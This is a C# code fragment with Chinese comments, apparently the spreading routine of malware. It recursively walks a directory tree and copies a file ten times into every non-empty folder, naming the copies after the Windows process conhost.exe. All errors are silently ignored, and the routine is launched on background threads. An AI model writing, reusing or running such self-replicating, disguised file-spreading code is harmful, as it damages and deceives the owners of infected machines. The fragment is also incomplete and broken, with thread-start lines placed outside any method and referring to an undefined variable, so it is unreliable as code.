internal static void newflie(object obj) //用于实现多线程
{
string dir = (string)obj;
try
{
string[] str1 = Directory.GetFileSystemEntries(dir); //获取dir目录下所有文件和目录
foreach (string d in str1)
{
if (!File.Exists(d))
{
DirectoryInfo d1 = new DirectoryInfo(d);
try
{
//for (int i = 0; i < 10; i++)
//{
// File.Copy(KJLJ, d1.FullName + @"\\" + "conhost" + i + ".exe", true);
//}
if (d1.GetFiles().Length != 0)
{
// MessageBox.Show(d1.FullName);
for (int i = 0; i < 10; i++)
{
File.Copy(KJLJ, d1.FullName + @"\\" + "conhost"+i+".exe", true);
}
// MessageBox.Show("这是个文件夹:" + d1.FullName);
newflie(d1.FullName); //文件夹则递归遍历
}
continue;
}
catch (Exception)
{
//MessageBox.Show("访问被拒绝!");
}
}
else
{
}
}
}
catch (Exception)
{
}
new Thread(Prg.newflie).Start(i); //创建新线程 该线程是前台线程
ThreadPool.QueueUserWorkItem(Prg.newflie, i); //在线程池取一个可用线程,该线程是后台线程